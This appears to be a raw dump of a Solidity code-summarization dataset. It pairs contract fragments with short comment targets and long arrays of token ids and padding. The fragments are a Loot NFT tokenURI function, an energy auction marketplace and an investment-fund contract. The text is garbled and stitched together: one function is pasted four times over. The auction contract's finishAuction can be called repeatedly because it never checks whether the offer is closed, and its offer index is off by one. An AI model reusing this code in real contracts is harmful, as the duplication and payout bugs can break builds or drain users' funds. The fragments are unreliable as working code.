'<text x="10" y="',
toString(i * 10),
'" class="base">',
temp[i],
"</text>"
)
);
}
for (uint256 i = 0; i < parts.length; i++) {
output = string(abi.encodePacked(output, parts[i]));
}
output = string(abi.encodePacked(output, "</svg>"));
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Bag #',
toString(_tokenId),
'", "description": "Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
| 5,701,181 | [
1,
6430,
1338,
2888,
305,
292,
1486,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
348,
19016,
353,
4232,
39,
27,
5340,
7544,
288,
203,
565,
3885,
12,
203,
3639,
533,
3778,
389,
529,
16,
203,
3639,
533,
3778,
389,
7175,
16,
203,
3639,
1758,
389,
3800,
15006,
18241,
16,
203,
3639,
2254,
10392,
389,
3800,
15006,
38,
1121,
16,
203,
3639,
1758,
389,
8258,
30746,
18241,
203,
203,
565,
445,
1147,
3098,
12,
203,
3639,
2254,
5034,
389,
2316,
548,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
565,
262,
4232,
39,
27,
5340,
7544,
24899,
529,
16,
389,
7175,
16,
1234,
18,
15330,
16,
374,
16,
1234,
18,
15330,
13,
2618,
203,
565,
262,
1071,
16618,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
533,
203,
3639,
533,
63,
21,
65,
3778,
1906,
273,
8247,
12648,
12648,
12648,
17877,
11929,
31,
203,
203,
3639,
533,
63,
21,
65,
3778,
2140,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
404,
31,
277,
27245,
288,
203,
5411,
2140,
63,
77,
65,
273,
533,
12,
203,
7734,
24126,
18,
3015,
4420,
329,
12,
203,
10792,
2368,
955,
619,
1546,
2163,
6,
677,
1546,
2187,
203,
10792,
1762,
12,
77,
380,
1728,
3631,
203,
10792,
2119,
667,
1546,
1969,
7918,
16,
203,
10792,
1906,
63,
77,
6487,
203,
10792,
6823,
955,
2984,
203,
7734,
262,
203,
5411,
11272,
203,
3639,
289,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
2140,
18,
2469,
31,
277,
27245,
288,
203,
5411,
876,
273,
533,
12,
21457,
18,
2
] |
pragma solidity >=0.4.21 <0.7.0;
import "./Ownable.sol";
// The contract inherits from Onlyowner, a standardize Smart contract used to create a modifier which allows only the deployer (auctioneer) of the contract to call the function
contract Marketplace is Ownable {
enum BidStatus {Open, Closed}
// Struct used to store new offers. Stack together the same variable typs for space efficiency and cost
struct Offer {
uint Power;
uint Duration;
uint Price;
string offer;
address payable HighestBidder; // It needs to be payable for the contract to send ether to this address
BidStatus Status;
}
mapping ( address => Offer[] ) public SellerToOffer; // Used to keep track of each of the offers from every seller
mapping ( address => bool) public ParticipantToBool; // A whitelist of participants, only they are allowed to sell or buy
event OfferPosted( string offer, uint Power, uint Duration, uint Price, uint index, address seller, string text ); // This event will be read by the demand side of the market, that way they are informed of the new offers
modifier onlyParticipant( address Participant) { // This modifier will be attached to functions which only the whitelisted addresses can trigger
require(ParticipantToBool[Participant], "You are not allowed to participate in this market"); // A require acts as an IF statement, printing the string if the condition is not fulfilled
_;
}
function setParticipant( address Participant ) public onlyOwner { // Only the auctioneer can trigger this function
ParticipantToBool[Participant] = true; // A new participantis added to the whitelist
}
function setOffer( uint Power, uint Duration, uint Price, string memory offer) public onlyParticipant( msg.sender) { // Executed by whitelisted sellers to post a new energy offer
uint index = SellerToOffer[msg.sender].push( Offer( Power, Duration, Price, offer, address(0), BidStatus.Open ) ); // We push the new offer into the mapping of the corresponding seller
emit OfferPosted( offer, Power, Duration, Price, index, msg.sender, "A new offer has been posted" ); // We trigger the event for the demand side of the market to read the offer
}
// This function is called to bid for a specific offer
function bid (uint index, address seller, uint amount) public payable onlyParticipant(msg.sender) {
require(msg.value > SellerToOffer[seller][index].Price, "Your bid is too low."); // We check whether the Ether sent is greater than the highest bid
require(SellerToOffer[seller][index].Status == BidStatus.Open, "This offer has been closed."); // We check for a bidder not to bid more incase the auciton has been finalized
if (SellerToOffer[seller][index].HighestBidder != address(0)) { // It will only execute the transfer function if previously there was already a bidder
SellerToOffer[seller][index].HighestBidder.transfer(SellerToOffer[seller][index].Price); // Refund. We send the ether to the previous bidder
}
SellerToOffer[seller][index].HighestBidder = msg.sender; // We update the highest bidder
SellerToOffer[seller][index].Price = msg.value; // We update the higest bid
}
function finishAuction (uint index, address payable seller) public onlyOwner { // Executed when the auctioneer would like to finish a particular bid
seller.transfer(SellerToOffer[seller][index].Price); // We send the Ether to the seller
(SellerToOffer[seller][index].Status = BidStatus.Closed); // This way no other bidder can participte
}
} | We update the higest bid
| SellerToOffer[seller][index].Price = msg.value; | 7,289,948 | [
1,
3218,
1089,
326,
366,
360,
395,
9949,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
4352,
749,
774,
10513,
63,
1786,
749,
6362,
1615,
8009,
5147,
273,
1234,
18,
1132,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* Imports
*/
import "./GSN/Context.sol";
import "./token/EIP20/IEIP20.sol";
import "./token/EIP20/SafeEIP20.sol";
import "./utils/ReentrancyGuard.sol";
/**
* Smart contract implementing an investment fund logic.
*/
contract InvestmentFund is Context, ReentrancyGuard {
using SafeEIP20 for IEIP20;
/*
* Constants
*/
// Unlimited amount
uint256 constant UNLIMITED_AMOUNT = 2**256 - 1;
// Multiplier decimals
uint256 constant MULTIPLIER_DECIMALS = 1e12;
// Minimum multiplier
uint256 constant MIN_MULTIPLIER = 1e12;
// Contract states
uint8 constant STATE_INITIAL = 0;
uint8 constant STATE_BEFORE_INVESTMENT = 1;
uint8 constant STATE_DURING_INVESTMENT = 2;
uint8 constant STATE_AFTER_INVESTMENT = 3;
/*
* Structures
*/
/// Investor deposit structure
struct InvestorDeposit {
uint256 amount; // Amount of deposit
uint256 index; // Investor index in array
}
/*
* Variables
*/
/// Fund manager address
address public fundManager;
/// Pending fund manager address
address public pendingFundManager;
/// Token accepted by the fund
IEIP20 public fundToken;
/// Current state
uint8 public currState;
/// Force the deposit to be multiple of the specified value
uint256 public depositMultipleOf;
/// Minimum investor deposit
uint256 public minInvestorDeposit;
/// Maximum investor deposit
uint256 public maxInvestorDeposit;
/// Initial amount before investing
uint256 public totalAmountBeforeInvestment;
/// Final amount after investing
uint256 public totalAmountAfterInvestment;
/// Multiplier (final amount / initial amount)
uint256 public investmentMultiplier;
/// Address for storing funds that were not withdrawn
address public remainingFundsAddr;
/// List of investors deposits
mapping (address => InvestorDeposit) public investorDeposits;
/// List of investors addresses
address[] public investors;
/*
* Modifiers
*/
/// Check if the caller is the fund manager
modifier onlyFundManager() {
require(fundManager == _msgSender(), "InvestmentFund: caller is not the fund manager");
_;
}
/// Check if the state is initial
modifier onlyInitialState() {
require(currState == STATE_INITIAL, "InvestmentFund: operation not allowed in current state");
_;
}
/// Check if the state is before investment
modifier onlyBeforeInvestment() {
require(currState == STATE_BEFORE_INVESTMENT, "InvestmentFund: operation not allowed in current state");
_;
}
/// Check if the state is during investment
modifier onlyDuringInvestment() {
require(currState == STATE_DURING_INVESTMENT, "InvestmentFund: operation not allowed in current state");
_;
}
/// Check if the state is after investment
modifier onlyAfterInvestment() {
require(currState == STATE_AFTER_INVESTMENT, "InvestmentFund: operation not allowed in current state");
_;
}
/// Check if the state is before or after investment
modifier onlyBeforeOrAfterInvestment() {
require((currState == STATE_BEFORE_INVESTMENT) || (currState == STATE_AFTER_INVESTMENT), "InvestmentFund: operation not allowed in current state");
_;
}
/*
* Events
*/
/// Events for funds deposited by investor
event InvestorFundsDeposited(address indexed investor, uint256 amount);
/// Events for funds withdrawn by investor
event InvestorAllFundsWithdrawn(address indexed investor, uint256 amount);
/// Events for funds deposited by fund manager during investment
event FundManagerFundsDeposited(address indexed owner, uint256 amount);
/// Events for funds withdrawn by fund manager during investment
event FundManagerFundsWithdrawn(address indexed owner, uint256 amount);
/// Events for funds returned by fund manager to a specific investor after investment
event FundManagerFundsReturnedToInvestor(address indexed investor, uint256 amount);
/// Events for funds returned by fund manager to all investors after investment
event FundManagerFundsReturnedToAllInvestors();
/// Events for setting a pending fund manager
event FundManagerPendingSet(address indexed pendingAddress);
/// Events for changing the fund manager
event FundManagerChanged(address indexed oldAddress, address indexed newAddress);
/// Events for changing the remaining funds address
event RemainingFundsAddressChanged(address oldAddress, address newAddress);
/// Events for changing the fund token
event FundTokenChanged(address oldToken, address newToken);
/// Events for changing the minimum investor deposit
event DepositMultipleOfChanged(uint256 oldValue, uint256 newValue);
/// Events for changing the maximum investor deposit
event MinInvestorDepositChanged(uint256 oldAmount, uint256 newAmount);
/// Events for changing the maximum investor deposit
event MaxInvestorDepositChanged(uint256 oldAmount, uint256 newAmount);
/// Events for starting investor deposit
event InvestorsDepositStarted();
/// Events for stopping investor deposit
event InvestorsDepositStopped();
/// Events for starting investor withdraw
event InvestorsWithdrawStarted();
/// Events for stopping investor withdraw
event InvestorsWithdrawStopped();
/*
* Public functions (for all)
*/
/**
* Initialize the contract.
* @param fundToken_ Contract address of the token to be used for depositing/withdrawing funds (e.g. BUSD, BNB, ...)
*/
constructor(address fundToken_) {
require(fundToken_ != address(0), "InvestmentFund: token address shall not be zero");
fundToken = IEIP20(fundToken_);
fundManager = _msgSender();
pendingFundManager = address(0);
remainingFundsAddr = _msgSender();
depositMultipleOf = 1;
minInvestorDeposit = 1;
maxInvestorDeposit = UNLIMITED_AMOUNT;
_resetState();
}
/**
* Get the total number of investors.
* @return investor_num Total number of investors
*/
function numberOfInvestors() external view returns (uint256 investor_num) {
investor_num = investors.length;
}
/**
* Get the total amount of deposited funds.
* @return total_deposit Total amount deposited funds
*/
function totalDepositedFunds() public view returns (uint256 total_deposit) {
total_deposit = fundToken.balanceOf(address(this));
}
/**
* Called by investor to deposit the specified amount before investment is started.
* @param amount Amount to deposit
*/
function investorDeposit(uint256 amount) public onlyBeforeInvestment nonReentrant {
require(amount != 0, "InvestmentFund: amount shall not be zero");
require(amount >= minInvestorDeposit, "InvestmentFund: amount shall be higher than minimum deposit");
require(amount <= maxInvestorDeposit, "InvestmentFund: amount shall be lower than maximum deposit");
require((amount % depositMultipleOf) == 0, "InvestmentFund: amount shall be multiple of depositMultipleOf");
// Get investor deposit
InvestorDeposit storage investor_deposit = investorDeposits[_msgSender()];
// Update it
if (investor_deposit.amount == 0) {
investors.push(_msgSender());
investor_deposit.index = investors.length - 1;
}
investor_deposit.amount += amount;
// Transfer tokens
fundToken.safeTransferFrom(_msgSender(), address(this), amount);
emit InvestorFundsDeposited(_msgSender(), amount);
}
/**
* Called by investor to withdraw all the funds before of after the investment.
*/
function investorWithdrawAll() public onlyBeforeOrAfterInvestment nonReentrant {
// Get investor deposit
InvestorDeposit storage investor_deposit = investorDeposits[_msgSender()];
// Check amount
require(investor_deposit.amount != 0, "InvestmentFund: no funds to withdraw");
// Compute amount
uint256 withdraw_amount = _computeAmountToWithdraw(investor_deposit.amount);
// Update it
investor_deposit.amount = 0;
// Delete investor
_deleteInvestor(investor_deposit.index);
// Transfer token
fundToken.safeTransfer(_msgSender(), withdraw_amount);
emit InvestorAllFundsWithdrawn(_msgSender(), withdraw_amount);
}
/*
* Public functions (only owner)
*/
/**
* Called by the owner to set a pending fund manager.
* @param newFundManager Fund manager address
*/
function setPendingFundManager(address newFundManager) public onlyFundManager onlyInitialState {
require(newFundManager != address(0), "InvestmentFund: address shall not be zero");
require(newFundManager != fundManager, "InvestmentFund: fund manager shall be different from the current one");
pendingFundManager = newFundManager;
emit FundManagerPendingSet(newFundManager);
}
/**
* Called by the pending fund manager to accept the role.
*/
function acceptFundManager() public onlyInitialState {
require(_msgSender() == pendingFundManager, "InvestmentFund: address shall be the pending fund manager");
address old_fund_manager = fundManager;
fundManager = pendingFundManager;
remainingFundsAddr = pendingFundManager;
pendingFundManager = address(0);
emit FundManagerChanged(old_fund_manager, _msgSender());
}
/*
* Public functions (only fund manager)
*/
/**
* Called by the fund manager to deposit funds during investment.
* @param amount Amount to deposit
*/
function fundManagerDeposit(uint256 amount) public onlyFundManager onlyDuringInvestment {
require(amount != 0, "InvestmentFund: amount shall not be zero");
fundToken.safeTransferFrom(_msgSender(), address(this), amount);
emit FundManagerFundsDeposited(_msgSender(), amount);
}
/**
* Called by the fund manager to withdraw the specified amount of funds during investment.
* @param amount Amount to withdraw
*/
function fundManagerWithdraw(uint256 amount) public onlyFundManager onlyDuringInvestment {
require(amount != 0, "InvestmentFund: amount shall not be zero");
fundToken.safeTransfer(_msgSender(), amount);
emit FundManagerFundsWithdrawn(_msgSender(), amount);
}
/**
* Called by the fund manager to withdraw all funds during investment.
*/
function fundManagerWithdrawAll() public onlyFundManager onlyDuringInvestment {
fundManagerWithdraw(totalDepositedFunds());
}
/**
* Called by the fund manager to return funds to a specific investor after investment.
* Useful for forcing the withdraw of funds to a specific investor.
* @param investor Investor address
*/
function fundManagerReturnFundsToInvestor(address investor) public onlyFundManager onlyAfterInvestment {
// Get investor deposit
InvestorDeposit storage investor_deposit = investorDeposits[investor];
// Check amount
require(investor_deposit.amount != 0, "InvestmentFund: no funds to withdraw");
// Compute amount
uint256 withdraw_amount = _computeAmountToWithdraw(investor_deposit.amount);
// Reset deposit
investor_deposit.amount = 0;
// Transfer token
fundToken.safeTransfer(investor, withdraw_amount);
// Delete investor
_deleteInvestor(investor_deposit.index);
emit FundManagerFundsReturnedToInvestor(investor, withdraw_amount);
}
/**
* Called by the fund manager to return all funds to investors after investment.
* Useful for forcing the withdraw of funds to all investors.
* @dev It can be expensive in terms of gas, it's better to call it only if there are few investors remaining
*/
function fundManagerReturnFundsToAllInvestors() public onlyFundManager onlyAfterInvestment {
require(investors.length != 0, "InvestmentFund: no investors left");
// Withdraw to all investors
for (uint256 i = 0; i < investors.length; i++) {
// Get investor deposit
address investor_addr = investors[i];
InvestorDeposit storage investor_deposit = investorDeposits[investor_addr];
if (investor_deposit.amount != 0) {
// Compute amount
uint256 withdraw_amount = _computeAmountToWithdraw(investor_deposit.amount);
// Reset deposit
investor_deposit.amount = 0;
// Transfer token
fundToken.safeTransfer(investor_addr, withdraw_amount);
}
}
// Delete all investors
delete investors;
emit FundManagerFundsReturnedToAllInvestors();
}
/**
* Called by the fund manager to set the address to withdraw remaining funds.
* @param remainingFundsAddr_ Address to withdraw remaining funds
*/
function setRemainingFundsAddress(address remainingFundsAddr_) public onlyFundManager onlyInitialState {
require(remainingFundsAddr_ != address(0), "InvestmentFund: address shall not be zero");
address old_addr = remainingFundsAddr;
remainingFundsAddr = remainingFundsAddr_;
emit RemainingFundsAddressChanged(old_addr, remainingFundsAddr_);
}
/**
* Called by the fund manager to set the fund token address.
* @param fundToken_ Fund token address
*/
function setFundToken(address fundToken_) public onlyFundManager onlyInitialState {
require(fundToken_ != address(0), "InvestmentFund: fund token shall not be the zero address");
address old_token = address(fundToken);
fundToken = IEIP20(fundToken_);
emit FundTokenChanged(old_token, fundToken_);
}
/**
* Called by the fund manager to set the deposit multiple of.
* @param value Deposit multiple of
*/
function setDepositMultipleOf(uint256 value) public onlyFundManager onlyInitialState {
require(value != 0, "InvestmentFund: value shall not be zero");
uint256 old_value = depositMultipleOf;
depositMultipleOf = value;
emit DepositMultipleOfChanged(old_value, value);
}
/**
* Called by the fund manager to set the minimum investor deposit.
* @param amount Minimum investor deposit amount
*/
function setMinInvestorDeposit(uint256 amount) public onlyFundManager onlyInitialState {
require(amount != 0, "InvestmentFund: minimum amount shall not be zero");
require(amount < maxInvestorDeposit, "InvestmentFund: minimum amount shall be lower than the maximum one");
require((amount % depositMultipleOf) == 0, "InvestmentFund: amount shall be multiple of depositMultipleOf");
uint256 old_value = minInvestorDeposit;
minInvestorDeposit = amount;
emit MinInvestorDepositChanged(old_value, amount);
}
/**
* Called by the fund manager to set the maximum investor deposit.
* @param amount Maximum investor deposit amount
*/
function setMaxInvestorDeposit(uint256 amount) public onlyFundManager onlyInitialState {
require(amount != 0, "InvestmentFund: maximum amount shall not be zero");
require(amount > minInvestorDeposit, "InvestmentFund: maximum amount shall be higher than the minimum one");
require((amount % depositMultipleOf) == 0, "InvestmentFund: amount shall be multiple of depositMultipleOf");
uint256 old_value = maxInvestorDeposit;
maxInvestorDeposit = amount;
emit MaxInvestorDepositChanged(old_value, amount);
}
/**
* Called by the fund manager to start investors deposit.
*/
function startInvestorsDeposit() public onlyFundManager onlyInitialState {
currState = STATE_BEFORE_INVESTMENT;
emit InvestorsDepositStarted();
}
/**
* Called by the fund manager to stop investors deposit.
*/
function stopInvestorsDeposit() public onlyFundManager onlyBeforeInvestment {
// Update state
currState = STATE_DURING_INVESTMENT;
// Get initial amount before investment
totalAmountBeforeInvestment = totalDepositedFunds();
emit InvestorsDepositStopped();
}
/**
* Called by the fund manager to start investors withdraw.
*/
function startInvestorsWithdraw() public onlyFundManager onlyDuringInvestment {
// Update state
currState = STATE_AFTER_INVESTMENT;
// Get final amount after investment
totalAmountAfterInvestment = totalDepositedFunds();
// Compute multiplier
investmentMultiplier = _computeMultiplier();
emit InvestorsWithdrawStarted();
}
/**
* Called by the fund manager to stop investors withdraw.
*/
function stopInvestorsWithdraw() public onlyFundManager onlyAfterInvestment {
// Withdraw any remaining funds
_withdrawRemainingFunds();
// Delete all investors
_deleteAllInvestors();
// Reset state
_resetState();
emit InvestorsWithdrawStopped();
}
/*
* Internal functions
*/
/**
* Compute the investment multiplier.
* @return multiplier Investment multiplier
*/
function _computeMultiplier() internal view returns (uint256 multiplier) {
multiplier = ((totalAmountAfterInvestment * MULTIPLIER_DECIMALS) / totalAmountBeforeInvestment);
}
/**
* Compute the amount to withdraw after investment.
* @param initialAmount Initial amount
* @return amount Amount to withdraw after investment
*/
function _computeAmountToWithdraw(uint256 initialAmount) internal view returns (uint256 amount) {
amount = ((initialAmount * investmentMultiplier) / MULTIPLIER_DECIMALS);
}
/**
* Withdraw remaining funds.
*/
function _withdrawRemainingFunds() internal {
uint256 remaining_funds = totalDepositedFunds();
if (remaining_funds != 0) {
fundToken.safeTransfer(remainingFundsAddr, remaining_funds);
}
}
/**
* Delete the specified investor.
* @param index Investor index in array
* @dev Since order doesn't matter, the last element is copied to the element do be deleted.
* If investor index doesn't exist, nothing is done.
*/
function _deleteInvestor(uint256 index) internal {
if (index >= investors.length) return;
address last_investor = investors[investors.length - 1];
investors[index] = last_investor;
investors.pop();
// Update the index of investor that has been just moved
investorDeposits[last_investor].index = index;
}
/**
* Delete all investors deposits.
*/
function _deleteAllInvestors() internal {
if (investors.length != 0) {
// Reset deposit amounts
for (uint i = 0; i < investors.length; i++) {
investorDeposits[investors[i]].amount = 0;
}
// Delete investor array
delete investors;
}
}
/**
* Reset state.
*/
function _resetState() internal {
currState = STATE_INITIAL;
totalAmountBeforeInvestment = 0;
totalAmountAfterInvestment = 0;
investmentMultiplier = MIN_MULTIPLIER;
}
}
| Events for funds returned by fund manager to all investors after investment | event FundManagerFundsReturnedToAllInvestors();
| 14,116,094 | [
1,
3783,
364,
284,
19156,
2106,
635,
284,
1074,
3301,
358,
777,
2198,
395,
1383,
1839,
2198,
395,
475,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
871,
478,
1074,
1318,
42,
19156,
22360,
774,
1595,
3605,
395,
1383,
5621,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
